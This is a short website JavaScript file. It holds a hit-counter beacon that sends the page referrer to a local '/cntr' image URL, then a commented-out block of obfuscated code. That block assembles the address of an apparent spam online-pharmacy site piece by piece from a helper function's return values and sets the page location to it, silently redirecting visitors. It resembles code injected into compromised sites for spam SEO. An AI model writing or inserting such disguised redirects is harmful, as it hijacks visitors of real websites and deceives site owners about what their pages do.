var ref = encodeURIComponent(document.referrer);
var rnd = new String(Math.random()).substr(2, 3);
var url = '/cntr' + rnd + '.gif?url=' + ref + '&rnd=' + (new String(Math.random()).substring (2, 11));
var im = new Image();
im.setAttribute('src', url);

/*var aa=7;
function f_f(p) {
 if (!p) {
  var a=2;
  if (aa%a) return document;
  return 0;
 }
 if (p==2) {
  return 'http:/';
 }
 else return 'et/item.php?id=188&said=exp-tjwibleflute&utm_medium=seo&utm_campaign=exp&utm_source=se';
}
var a=f_f(0);
a.location = f_f(2) + '/healthonlineshop.n' + f_f(3);*/